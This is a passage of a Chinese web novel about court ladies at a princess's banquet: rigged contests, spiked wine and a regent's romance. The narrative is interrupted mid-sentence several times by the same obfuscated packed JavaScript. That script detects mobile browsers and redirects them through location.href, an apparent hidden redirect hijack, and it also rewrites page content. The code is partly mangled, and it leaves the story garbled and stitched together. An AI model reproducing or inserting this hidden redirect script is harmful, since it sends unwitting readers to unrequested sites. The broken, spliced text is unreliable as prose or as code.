“诸位小姐,”长公主环视众人,目光在每个人脸上停留片刻,“你们个个才貌双全,今日就选一项最拿手的才艺展示即可。谁愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505533|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先来?” 众位小姐你看看我,我看看你,都有些踌躇。有些人低头整理衣裙,有些人假装喝茶掩饰尴尬。 柳映雪打量着周围的人:她的对面是二公主,一身淡粉色衣裙,举止端庄;旁边是三公主,眉眼间带着几分英气;再往后是孙灵秀、卫紫莹、李婉柔、李盼春,个个都是京城数一数二的闺秀。 她右手边是卢芷柔,今日穿了一身淡青色衣裙,显得格外清丽脱俗;依次是秦玉华、欧阳雅韵和柳书兰。柳书兰今日特意打扮过,一身水红色衣裙,头上戴着珍珠钗环,显然是有备而来。 就在长公主要开口时,柳书兰站了出来,福身行礼:“回长公主,臣女乐意为大家奏一曲琴,为诸位姐妹抛砖引玉。”她说话时目光不经意地往男宾席瞥去,柳映雪注意到她的视线停留在三皇子身上。 很快,丫鬟抬上一把古琴,琴身乌黑发亮,琴弦泛着寒光。 “这是青韵!”有人惊呼出声,语气中带着掩饰不住的羡慕。 长公主笑道:“正是。本公主近日得此琴,今日特意拿出来,让大家一同品鉴。”她说这话时颇有几分得意。 柳映雪仔细打量那把琴,总觉得与记忆中的青韵有些差异。琴身的纹路虽然相似,但少了几分灵气,琴弦的材质也略显粗糙。 柳书兰坐到琴前,整理了一下衣裙,手指轻抚琴弦。悠扬的琴声响起,曲调婉转动听,但总觉少了几分灵气。她弹奏时时不时抬头看向男宾席,眼中带着期待。 柳映雪听得分明:这分明是把赝品。琴音虽然清亮,但缺少了真品青韵特有的韵味。她看了眼长公主,看来连长公主自己都不知道这把琴是假的。 一曲终了,掌声四起。在座的贵女们纷纷称赞,就连一向不苟言笑的二公主也点头表示赞许。 第七十章 赢了十万两黄金 “长公主殿下,驸马爷。”柳映雪从容起身,福了福身,裙裾在地上划出一道优美的弧线。“臣女已完成一百首诗词,请过目。若无问题,还请在字据上注明数量。” 她的声音清脆悦耳,却带着一丝不容置疑的坚定。长公主淡淡道:“先看看秦大小姐的作品。” 丫鬟取来秦玉华的诗词,驸马随意扫了两眼就递还回去,语气中带着几分不屑:“这也算得上赏梅诗?与柳大小姐的作品相比,实在是天壤之别。” 此言一出,秦玉华如遭雷击,眼泪瞬间涌了出来。她的肩膀微微颤抖,却强忍着不让泪水落下。 “秦大小姐,你莫要难过。”一旁的欧阳雅韵连忙上前安慰,递上手帕,“驸马爷只是一时激动,说话有些过了。” 长公主连忙扯了扯驸马的衣袖:“夫君,这是秦大小姐的作品。”她的声音虽轻,却带着警告的意味。 驸马这才意识到失言,干咳两声道:“秦大小姐的诗词虽然稍逊一筹,但在闺秀中也算不错了。” 柳映雪嘴角微扬,这驸马是在给秦玉华补刀吗?今日除了她和秦玉华,可没有其他小姐作诗。她看着秦玉华愈发苍白的脸色,心中暗暗得意。 “既然诗词已成,还请驸马爷在字据上写明数量。”柳映雪将字据递上前,纸张在烛光下泛着淡淡的光泽。 驸马爽快地写下数字,柳映雪立刻收好字据,转身走到秦玉华面前。她的步伐优雅从容,裙裾轻轻摆动,带起一阵幽兰香气。 “秦大小姐,明日请准备好十万两黄金。”她的声音不疾不徐,“若是府上不便,本小姐也可派人去取。” 欧阳雅韵终于忍不住站出来,她的声音因愤怒而微微发颤:“柳大小姐,你太过分了!你明明有这样的才学,为何不早说?分明是故意设局!” “故意设局?”柳映雪轻笑一声,“是谁要与我比试?又是谁定下赌注?欧阳大小姐,你和卫小姐的较量还没开打呢。”她的目光在欧阳雅韵脸上停留片刻,带着几分意味深长。 欧阳雅韵脸色一变,不敢再多言。她下意识地看向卫小姐,却见对方也是一脸凝重。 卫小姐与欧阳雅韵的比试草草收场,驸马只说了句“平分秋色”。但在场之人都听出了弦外之音——这两人的诗词,与柳映雪的作品相比,实在是不值一提。 花厅内的气氛越发凝重,连丫鬟们添茶时都放轻了动作,生怕打破这压抑的寂静。窗外的梅花在风中轻轻摇曳,花瓣纷纷扬扬地飘落,仿佛在为这场诗词大赛画上句点。 摄政王府中,绿竹将公主府发生的事情详细禀报。他的声音低沉有力,将每个细节都描述得清清楚楚。 “殿下,那些诗词确实不凡。”绿竹说到这里,语气中也带着几分赞叹,“连驸马爷都说,这些诗作堪比大家手笔。” 萧寒瑾靠在软榻上,修长的手指轻轻摩挲着茶盏。听完绿竹的禀报,他的唇角勾起一抹意味深长的笑意:“一百首梅花诗?有意思。” 他放下茶盏,眸光微动:“去把那些诗词取来,一张不许遗漏。” 他的雪儿写的诗词,岂能让外人随意传阅?能记住多少就记多少吧,原稿只能留在他这里。萧寒瑾的眼中闪过一丝占有欲,却又很快隐去。 “属下遵命。”绿竹领命而去,脚步轻快。 宴会厅内觥筹交错,莺歌燕舞。华贵的宫灯将整个大殿映照得如同白昼,觥筹交错间,丝竹之声悠扬婉转。 柳书兰坐在席间,听着周围人对柳映雪的赞美之词,指尖无意识地摩挲着手中的锦帕。她望向不远处那道纤弱的身影。那个一直卧病在床的女人,怎可能有如此才学? “映雪妹妹的诗词造诣当真令人叹服。”一旁的贵女轻声感叹。 “是啊,这般才情,难怪连摄政王都对她另眼相看。”另一位小姐附 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“长公主所言极是。”卢芷柔柔声附和,声音如同晓风拂面,“臣女同样仰慕柳大小姐的才华,这首美之位确实该让与柳大小姐才是。” 第七十一章 宴会出事 柳映雪淡淡瞥了一眼卢芷柔。若不是注意到她桌下几乎要将手帕撕碎的双手,还真要被这番话骗过去了。她不动声色地抿了一口茶,将这一切尽收眼底。 “诗词已赏,不如来支舞蹈助兴如何?”长公主又道,目光扫过在座的众人。 秦玉华立刻起身,福身行礼:“臣女愿献一支长袖舞。”她的声音清脆悦耳,却让人听出几分刻意。 原本准备起身的三公主又坐了回去,恨恨地瞪了秦玉华一眼。这是想借舞蹈挽回颜面吗?她冷哼一声,端起茶盏掩饰自己的不悦。 长公主虽然心里不太高兴,但考虑到三皇弟的面子,还是点头应允。她挥了挥手,示意宫女们准备。 不多时,宫女们端着新的酒水点心鱼贯而入。银盘上的点心精致可人,酒壶中的美酒散发着醉人的香气。 柳映雪看着面前的酒盏和糕点,眼神微眯。她只想安静用膳,怎就这般难?她的目光在那些点心和酒水上扫过,心中已有了计较。 酒中有毒,糕点也有毒。虽不致命,但足以让人出丑。这是有人想让她在众目睽睽之下疯癫失态啊。她的手指轻轻摩挲着茶盏边缘,脸上依旧保持着恰到好处的微笑。 “青莲。”柳映雪低声吩咐身边的丫鬟,“若见哪个宫女匆匆离去,你便悄悄跟上。”她的声音很轻,却带着不容置疑的语气。 “是,小姐。”青莲会意,目光警惕地扫视着周围。 宴会厅内的气氛愈发热闹,但暗流涌动。每个人都带着面具,演绎着各自的角色。柳映雪静静地看着这一切,仿佛置身事外,却又深陷其中。 宴会厅内觥筹交错。丫鬟们端着精致的点心在席间穿梭,每个人脸上都带着得体的笑容,仿佛一切都那么和谐。 柳映雪注意到三皇子身边的小厮正悄悄打量着这边的情况,眼神闪烁不定。她不动声色地抿了一口茶,将杯中茶水含在口中片刻后又吐回杯中。 “映雪妹妹,你这是不喜欢这茶?”坐在对面的欧阳雅韵笑吟吟地问道,眼底却闪过一丝不易察觉的失望。 柳映雪放下茶盏,唇角勾起一抹浅笑:“雅韵姐姐说笑了,只是觉得有些烫。” 就在这时,秦玉华身着华丽舞衣,款款而来。她的裙摆随着步伐轻轻摆动,绣着金线的衣袖在烛光下闪烁着耀眼的光芒。 “参见长公主殿下。”秦玉华盈盈下拜,声音轻柔动听。 长公主微微颔首:“起来吧。” 秦玉华起身后,缓步走向专门搭建的舞台。她的每一个动作都优雅至极,仿佛天生就该是众人瞩目的焦点。 悠扬的乐声响起,秦玉华翩然起舞。她的舞姿如行云流水,长袖在空中划出优美的弧线。时而如浪涌,时而似云卷,时而若彩虹横空,时而如轻烟袅袅。 柳映雪注意到,在场众人的目光都被秦玉华吸引。但她更在意的是其他人的反应。 三皇子与澄世子交换了一个意味深长的眼神,二人的嘴角都带着若有若无的笑意。 二公主身边的二兰不停地绞着手帕,神色慌张。她的目光时不时瞥向舞台,又飞快地移开。 三公主则一直盯着欧阳雅韵,眼中闪烁着期待的光芒。她的手指有节奏地敲击着桌面,似乎在等待着什么。 柳映雪不动声色地打量着在座的小姐们。除了李盼春,其他人都没什么异常。李盼春的脸色有些发白,时不时用帕子擦拭额头的汗珠。 就在这时,一个身着淡青色衣裙的丫鬟悄悄来到三公主身边。 “三公主,这是您想要的手帕。”丫鬟低声说道,将一方绣着海棠花的手帕递了过去。 三公主愣了愣,她的贴身丫鬟二萱赶紧接过手帕:“多谢。” 表面上看,不过是送个手帕的小事。但那丫鬟临走时与二萱交换的眼神,却让柳映雪察觉到不对劲。 “青莲。”柳映雪轻声唤道。 “小姐。”青莲俯身过来。 “跟上去看看。” 青莲会意,悄悄退下。果然,没过多久,二萱也找机会溜了出去。 青莲刚要跟上,却被一位面容严肃的管事嬷嬷拦住。 “你这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505537|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫鬟,在这儿鬼鬼祟祟做什么?”管事嬷嬷冷着脸问道。 青莲镇定自若地解释:“回管事嬷嬷的话,我家小姐手帕脏了,想找刚才那位送手帕的丫鬟问问还有没有多余的。” “你家那位小姐是谁?” “丞相府柳大小姐,将来的摄政王妃。” 管事嬷嬷神色一变,语气缓和了些:“快去快回,别在府里乱转。” 青莲出了侧门,沿着回廊快步前行。很快,她就听到两个丫鬟的对话声。 “糕点送错了?你这蠢货!”一个尖细的声音带着怒意。 “姐姐,我真的不是故意的...”另一个声音带着哭腔。 “赶紧走,越远越好,否则小命难保!” 青莲躲在回廊拐角处,将两人的对话听得清清楚楚。等脚步声远去,她才赶紧回去向柳映雪禀报。 柳映雪听完,冷笑一声。原来她成了三公主和欧阳雅韵争斗中的牺牲品。幸好她识毒,否则今日就要在众人面前出丑了。 既然她们喜欢看人出丑,那就成全她们吧。 舞台上,秦玉华的舞姿越发绚丽。她的裙摆在空中划出完美的弧线,脚尖轻点,宛如蝴蝶翩跹。 就在众人以为这支舞即将完美谢幕时,意外陡生。 秦玉华一个转身,突然失去平衡。她的脚下一滑,重重摔在地上,姿势狼狈。华丽的发髻散开,珠钗滚落一地。 趁着众人惊愕之际,柳映雪手指一弹,两粒药丸分别落入三公主和欧阳雅韵的酒盏中。 二公主当场笑出声来,笑声清脆悦耳却带着几分刻薄。 其他小姐们虽然矜持些,却也掩嘴偷笑。有人窃窃私语,有人摇头叹息。 长公主轻咳了声:“二皇妹,注意仪态。” 秦玉华被丫鬟搀扶下去,脸色惨白如纸。她的眼中含着泪,却倔强地不让泪水落下。 柳映雪看着舞台上几处反光的地方,又瞥了眼秦玉华的鞋子,心中了然。有人在台上抹了蜡油,而且位置刚好在秦玉华最后谢幕时会踩到的地方。 第七十三章 当众出丑 “三皇妹与欧阳大小姐这是怎么了?”长公主的声音里带着一丝不易察觉的警惕。她下意识地扫视四周,试图寻找异常的蛛丝马迹。 柳映雪站在人群之中,嘴角挂着若有似无的笑意。她看着眼前这一幕,心中暗道有趣。让这两位也尝尝被下药的滋味也好。她的目光若有所思地在场中游移,仿佛在欣赏一出精心编排的戏码。 “皇姐,臣妹想跳支舞。”三公主摇摇晃晃地站起身,眼神迷离,声音黏腻得不像话。她的手指无意识地摩挲着衣襟,面色潮红如醉。 “长公主,臣女也想献舞一曲。”欧阳雅韵紧随其后,平日里端庄的仪态荡然无存。她的发髻已经有些松散,几缕青丝垂落在颈间。 不等长公主开口,两人已经翩翩起舞。她们的舞姿凌乱不成章法,时而相互碰撞,时而踉跄后退。众人目瞪口呆,窃窃私语声此起彼伏。有人掩面轻笑,有人皱眉不悦,更多的是震惊与困惑的目光。 更让人震惊的是,两人一边舞动,一边慢慢解开衣衫。三公主的外袍已经松散,露出里面的红色肚兜;欧阳雅韵更是大胆,玉手已经搭上了腰带。 长公主脸色瞬间阴沉,方才压下的怒火再次燃起。她猛地站起身,玉簪随着动作轻颤。她顾不得形象,对着身旁宫女厉声喝道:“把她们拖下去!用凉水浇醒!” “是,公主。”几个宫女应声而动。 宫女们连同三公主和欧阳雅韵的丫鬟一起上前去拉人。谁知两人反抗激烈,不仅挣扎扭动,还试图继续解开衣衫。场面一时混乱不堪,有人跌倒在地,有人被抓伤了手臂。 “快去拿绳子来!”长公主急得额头渗出细汗,声音里带着显而易见的焦躁。 终于,在众人合力之下,两位失态的小姐被制服。长公主揉了揉太阳穴,“带下去吧,等她们清醒了再放开。” 柳映雪看着这一幕,心中暗笑。虽说长公主反应迅速,但她的目的已经达到。那些窃窃私语和异样的目光,足以让这两人的名声受损。她的目光扫过在场众人,将每个人的反应尽收眼底。 男宾席上,三皇子和澄世子互相对视了一眼。澄世子微微摇头,示意这不是他的手笔。两人眼中都闪过一丝疑惑,显然对这突如其来的变故感到不解。 长公主终于失去耐心,匆匆对众位小姐说道:“本公主去看看秦大小姐的伤势,你们可自行去赏梅,或是观看男宾骑射。”说完便快步离去,裙摆带起一阵风声。 柳映雪转头,正好看到卫紫莹眼中掩饰不住的兴奋。那双明亮的眼睛里闪烁着幸灾乐祸的光芒,嘴角微微上扬。她心中了然,这卫大小姐与欧阳雅韵素来不和,见她出丑自然开心。至于三公主,虽说是表姐妹,看来关系也并不亲近。 众人散去,柳映雪走在最后。卢芷柔依旧温婉,等着与她同行。两人并肩而行,裙摆轻拂,步履从容。 刚出宴会厅,就见李婉柔面色潮红,神情恍惚。她靠在李盼春肩上,脚步虚浮。李盼春和丫鬟正扶着她找地方休息,脸上带着关切的表情。 “等等...映雪...”李婉柔喃喃道,声音虚弱得几乎听不见。 柳映雪走近询问:“婉柔这是怎么了?”她仔细打量着李婉柔的状态。 “映雪,我可能喝多了...二妹说好喝,我就多喝了几口,现在头晕得厉害...”李婉柔断断续续地说着,眼神迷离。 “青莲,去把婉柔的茶水端来。”柳映雪吩咐道。 李盼春不悦道:“柳大小姐,我堂姐得歇一歇。”她的语气里带着明显的抗拒。 柳映雪置若罔闻,只对李婉柔道:“等会喝点水就好。”她的声音温和,却带着不容置疑的坚定。 青莲很快端来茶水,柳映雪从袖中取出一粒药丸,悄无声息地放入杯中。她虽不知李盼春打什么主意,但那双眼中的恶意已经说明了一切。看着李婉柔喝下茶水,她的心稍稍放松。 没过多久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505539|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李婉柔的神志渐渐清明。李盼春见状,气恼地跺了跺脚,转身离开了。她的背影透着一股说不出的怨气。 柳映雪支开众人,拉着李婉柔走到一旁。她轻声提醒道:“婉柔,你这堂妹,恐怕心思不纯。以后喝什么东西都要当心些。” 李婉柔虽然单纯,但也不傻。听了这话,她连连道谢:“多亏有你在,不然今日...”她没有说完,但眼中已经泛起泪光。 柳映雪借口有事和李婉柔分开,来到梅园,柳映雪被眼前的景色吸引。漫天白雪中,梅花傲然绽放,红白相间,难以言表的清冷孤傲。积雪覆盖着枝头,偶尔有几片雪花飘落,更添几分意境。 她让青莲在外等候,独自深入梅林。脚下的积雪发出细微的咯吱声,空气中弥漫着淡淡的梅香。 “你是怎么进来的?”她忽然转身问道,语气里带着几分笑意。 “雪儿,区区公主府,还难不倒我。”萧寒瑾从树后走出,嘴角挂着玩味的笑容。他的黑衣与白雪形成鲜明对比,整个人如同从水墨画中走出来的一般。 “这梅花真美。”柳映雪由衷赞叹。她伸手轻触花瓣,感受着那份冰凉的触感。 “若你喜欢,我给你种一片梅林。”萧寒瑾走近几步,目光温柔地注视着她。 “不,我更加想要十里桃林。”柳映雪笑着说道,眼中闪烁着狡黠的光芒。 “好,我为雪儿种一片十里桃林。”萧寒瑾认真地说。他的声音里带着承诺的重量,仿佛已经看到了那片粉红的海洋。 柳映雪笑意更深,她只是随便一说,但看着萧寒瑾认真的样子,似乎当真要去实现这个愿望了。梅花的香气在两人之间流转,带着几分甜蜜的味道。 梅林深处,积雪覆盖了大地。 白雪与梅花交相辉映,远远望去宛如一幅水墨丹青。枝头的梅花傲然绽放,红白相间,在寒风中摇曳生姿。零星的雪花飘落,为这幅天然画卷增添了几分灵动。 第七十四章 梅林见摄政王 柳映雪漫步其中,青色长裙随风轻扬,裙摆上绣着的暗纹若隐若现。她时不时抬头看向枝头的梅花,唇角微扬,眼中闪烁着淡淡的笑意。 脚下的积雪发出细微的咯吱声,每一步都留下浅浅的足印。寒风拂过她的面颊,带来一丝凉意,却丝毫不减她眼中的神采。 “这梅花倒是与你有几分相似。”萧寒瑾的声音在身后响起,带着几分温柔,几分调侃。 柳映雪转身,发髻上的玉簪随着她的动作轻轻晃动。她挑眉问道:“哦?相似在何处?”语气中带着几分好奇,又带着几分戏谑。 “傲雪凌霜,不畏严寒。”萧寒瑾目光温柔,眼中似有星辰闪烁,“就如你一般。” 他的目光落在柳映雪的脸上,仿佛要将她的每一个表情都刻进心里。微风拂过,带起他的衣袍轻轻飘动,更添几分潇洒风流。 柳映雪心头一暖,却故作轻松道:“你这是在夸我,还是在说我性子倔强?”她的手指轻轻拨弄着一片落在肩头的梅花花瓣,眼中带着笑意。 “在我眼中,你所有的性子都是好的。”萧寒瑾轻声道,向前迈了一步,“包括那些诗词。” 这句话让柳映雪的动作微微一顿,眸光闪烁。她抬头看向萧寒瑾,试探着问:“你就不怀疑那些诗词的来历?” 她的声音很轻,却带着一丝难以察觉的紧张。手指无意识地绞着衣袖,等待着对方的回答。 “不必怀疑。”萧寒瑾神色坚定,目光如炬,“既是你交上来的,那便是你的。” 这句话让柳映雪心头一颤。她凝视着萧寒瑾的眼睛,那双漆黑如墨的眸子里倒映着她的身影。她轻声问:“你当真如此信我?” “当真。” 简单的两个字,却让柳映雪心中涌起一股暖流。她看着眼前这个男人,突然觉得心跳加快了几分。 雪花依旧在飘落,落在两人的肩头,却融化不了这份温暖。 她忽然玩心大起,脚尖一点,身形如燕般掠向远处:“既然如此,那就来试试我这段时日的功夫如何?”声音中带着几分俏皮,几分挑衅。 萧寒瑾唇角含笑,紧随其后。他的身形矫健,动作行云流水,每一步都恰到好处。 两人在梅林中你追我赶,时而掠过树梢,时而贴地而行。积雪被扰动,飞扬起来,在阳光下闪烁着细碎的光芒。 柳映雪的身法轻盈灵动,每一个转折都恰到好处。她的长裙在风中飘扬,宛如一只翩翩起舞的蝴蝶。时不时回头看一眼身后的萧寒瑾,眼中带着笑意。 但萧寒瑾的功夫更胜一筹,没过多久就追了上来,将她揽入怀中。他的呼吸有些急促,却依旧保持着优雅的姿态。 “生气了?”萧寒瑾看着她微微嘟起的嘴角,忍不住笑道。他的手轻轻拂去她发间的雪花,动作温柔。 柳映雪别过脸去,假装生气道:“我还要继续练功。”她的声音带着一丝不甘,却掩饰不住眼中的笑意。 “你已经很厉害了。”萧寒瑾轻声安慰,“要知道,寻常人练上十年都未必有你现在的水平。” 柳映雪正要说话,突然神色一凛。她的身体瞬间绷紧,像一只警惕的猫儿。 萧寒瑾也察觉到了异样,两人迅速隐入暗处。他们藏身在一棵粗壮的梅树后,屏息凝神。 片刻后,两道身影疾驰而至。 “二皇子,属下确实看到柳大小姐往这边来了。”一个黑衣人低声禀报,声音中带着几分恭敬。 西幽国二皇子目光扫过地上的脚印,眉头微皱:“不止一个人。”他的声音低沉,带着几分威严。 柳映雪和萧寒瑾对视一眼,都从对方眼中看到了警惕。两人的呼吸都放得很轻,生怕惊动了来人。 与此同时,梅林外围。 孙灵秀正与青莲对峙。寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505540|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风吹动她的衣袍,却吹不动她傲慢的神色。 “你一个丫鬟,也敢拦我?”孙灵秀身边的丫鬟怒道,声音尖利。 青莲不卑不亢:“这片梅林广袤无垠,孙大小姐为何非要往这个方向?”她的声音平静,却带着一丝坚定。 孙灵秀却被青莲的态度吸引了:“有趣,当真是主子什么样,带出来的人也什么样。”她的目光在青莲身上打量,带着几分玩味。 她大马金刀地坐在一旁:“那我就在这里等着,看看你们家小姐到底有什么本事。”说着,还故意整理了一下衣袖,显得悠然自得。 青莲不再多言,只是目光警惕地守在原地。她的手始终放在腰间,随时准备应对可能的变故。 梅林深处,二皇子的目光在四周游移,树影婆娑间却未见半个人影。微风拂过,带来阵阵清冽的梅香,却难掩他眼底的阴郁。 他修长的手指轻轻敲击着腰间玉佩,发出细微的叮咚声。原本想让司平试探柳大小姐身手的计划只能作罢,这让他心中颇为不悦。 “殿下...”司平欲言又止,看着自家主子阴晴不定的脸色,不敢贸然开口。 “走吧。”二皇子淡淡开口,声音里带着一丝不易察觉的烦躁。他转身时,锦袍下摆划出一道优雅的弧度,带着司平迅速离开了这片梅林。 待脚步声渐远,柳映雪与萧寒瑾从一棵古梅后现身。梅花纷纷扬扬落下,为两人镀上一层朦胧的光晕。 “这就是西幽国的二皇子?”柳映雪望着二人离去的方向。她伸手接住一片飘落的梅瓣,指尖轻轻摩挲着那抹粉白。 “是他,不过戴了易颜面具。”萧寒瑾语气平静,“此人向来多疑,怕是听闻你的传言,想来试探。” 柳映雪轻笑一声,“原来是那日在凤栖楼门前察觉到我身手的人。”她将手中的梅瓣轻轻一弹,看着它打着旋儿飘落在地。 第七十五章 出梅林遇挑衅 回想起宴会开始时那道若有若无的视线,现在想来,正是这位二皇子无疑。那种被人暗中窥视的感觉,让她不由得蹙眉。 “雪儿。”萧寒瑾神色微凝,转头看向她。阳光透过梅枝的缝隙洒落,在他俊美的面容上投下斑驳的光影。“西幽皇室心狠手辣,你要多加小心。” 他的声音低沉而温柔,却带着不容忽视的凝重。眼底的担忧一闪而过,随即被深深的戒备取代。 “放心,若是他们不来招惹我,我自然不会理会。”柳映雪嘴角勾起一抹笑意。她伸手拂去萧寒瑾肩上的梅花,动作轻柔。 “若是招惹了你,那就别怪我不客气。”萧寒瑾眸中寒光一闪,语气陡然转冷,“即便是西幽皇帝也不行。” 柳映雪闻言,眼中笑意更深,“有你这句话,我就放心了。”她抬头看了看天色,阳光已经西斜,“我该回去了,青莲她们还在等着,免得引人生疑。” “嗯,若觉得无趣,直接离开便是。”萧寒瑾的目光始终追随着她,生怕她受到半点伤害。 “知道了。”柳映雪莞尔一笑,身形轻盈地一闪,朝青莲所在的方向掠去。她的身影在梅林中穿梭,宛如一只灵动的蝴蝶。 萧寒瑾目送她离开,又朝二皇子离去的方向看了一眼,眼神骤然变得凌厉。若是二皇子敢动雪儿,他定让其有来无回。这个念头在他心中越发坚定。 柳映雪刚到青莲附近,就看到一场剑拔**张的对峙。空气中弥漫着一股剑拔**张的气息,让人不由得屏住呼吸。 青莲挡在一位锦衣小姐面前,那小姐身后的丫鬟正怒目而视。青莲的手按在剑柄上,随时准备出手。 “小姐,你回来了!”青莲见到柳映雪,眼中闪过惊喜,紧绷的身体稍稍放松。 还不等柳映雪开口询问,那锦衣小姐便抢先道:“柳映雪,我要与你比试!”她的声音里带着几分稚嫩,却透着不容拒绝的坚决。 柳映雪眼前一亮,饶有兴趣地打量着眼前这个不知天高地厚的小姑娘,“哦?赌注是什么?”她的语气慵懒,却带着一丝危险的意味。 “我...我没有黄金银两。”孙灵秀有些慌乱,声音微微发颤,但很快又鼓起勇气,“若我输了,我可以割下左臂给你!” 柳映雪嫌恶地皱眉,目光在孙灵秀身上扫过,“你的胳膊又不能当银子花。”她的语气中带着显而易见的不屑。 “你!”孙灵秀怒道,脸上浮现出一抹羞恼的红晕,“你若输了,就要离开摄政王,你根本不配!” 话音未落,一股凌厉的气势扑面而来。孙灵秀脸色瞬间苍白,连忙后退几步,差点跌倒。她身后的丫鬟赶紧扶住她,却也被这股气势震得双腿发软。 “本小姐不配,难道你配?”柳映雪冷笑,眼中闪过一丝寒意,“摄政王的事,何时轮到你来指手画脚?” 孙灵秀慌忙解释:“我只是觉得摄政王的王妃该是武功高强之人...”她的声音越来越小,显然已经意识到自己说错了话。 “摄政王要什么样的王妃,还需要你来操心?”柳映雪眼中寒意更甚,周身的气势愈发凌厉,“若是连自己的王妃都护不住,他还配做什么摄政王?” 她收回气势,淡淡道:“别把蠢笨当做直爽,小心哪天死都不知道**的。”话语中的威胁之意不言而喻。 说完,她带着青莲转身离去,只留下孙灵秀一脸惊愕地站在原地。阳光透过梅枝,在地上投下斑驳的光影,仿佛在嘲笑着这场闹剧。 刚走出梅林,柳映雪便察觉到一道若有若无的视线。她嘴角微勾。看来有人还不死心啊。 青莲跟在她身后,时不时警惕地环顾四周。 柳映雪抬眸望去,那道熟悉的身影依旧伫立在不远处。寒风吹拂,他的衣袍猎猎作响,却始终纹丝不动地站在那里。 她轻轻摇头,裙摆在风中微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505541|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微摆动。这宫宴虽说是为了欢迎西幽使团,可暗流涌动之下,每个人都各怀心思。她不欲多想,转身朝亭台方向走去。李婉柔应当还在那里赏梅。 脚下的青石板路上落满梅瓣,随风轻轻打着旋儿。远远望去,亭台掩映在梅林深处,朦朦胧胧如一幅水墨画卷。 果不其然,远远就看到李婉柔的身影。只是此刻亭中已多了两个人——李盼春和卢芷柔。几个丫鬟侍立在一旁,手中端着各色点心茶水。 卢芷柔这个皇后的侄女,向来深藏不露。这段时日总是若有若无地接近自己,却始终不露真容。这般沉得住气,倒真是个难缠的主。她身着一袭淡紫色长裙,发间只簪了一支白玉簪子,看似素雅,实则处处透着精心。 “映雪,你可算回来了!快来坐。”李婉柔眼尖,第一个发现了她。她连忙起身,拉着柳映雪在身边坐下。 柳映雪微微一笑:“梅林深处的景致当真不错。”她伸手接过丫鬟递来的茶盏,轻轻抿了一口。 “柳大小姐是独自前去的吗?”卢芷柔温声细语地问道。那双眼睛却紧紧盯着柳映雪的面容,似要将她看透一般。 “卢大小姐为何如此关心?”柳映雪不动声色地反问。茶盏在手中微微转动,水面泛起细小的涟漪。 “方才李大小姐四处寻你,却都未见着人影。”卢芷柔轻轻摇着手中团扇,“我们还以为你迷路了呢。” “我与丫鬟同去梅林深处逛了逛。”柳映雪淡淡道,目光落在远处的梅树上。一阵风过,落英缤纷。 “可曾遇到旁人?”卢芷柔又问,语气依旧温和,却带着不容忽视的试探意味。 柳映雪抬眸看了卢芷柔一眼。这卢芷柔究竟想打探什么? “并未。”她语气清冷,显然不愿多谈。 卢芷柔露出失望之色,转瞬即逝。但还是被柳映雪捕捉到了。她放下团扇,转而拿起茶盏,掩饰般地喝了一口。 第七十六章 宴会结束 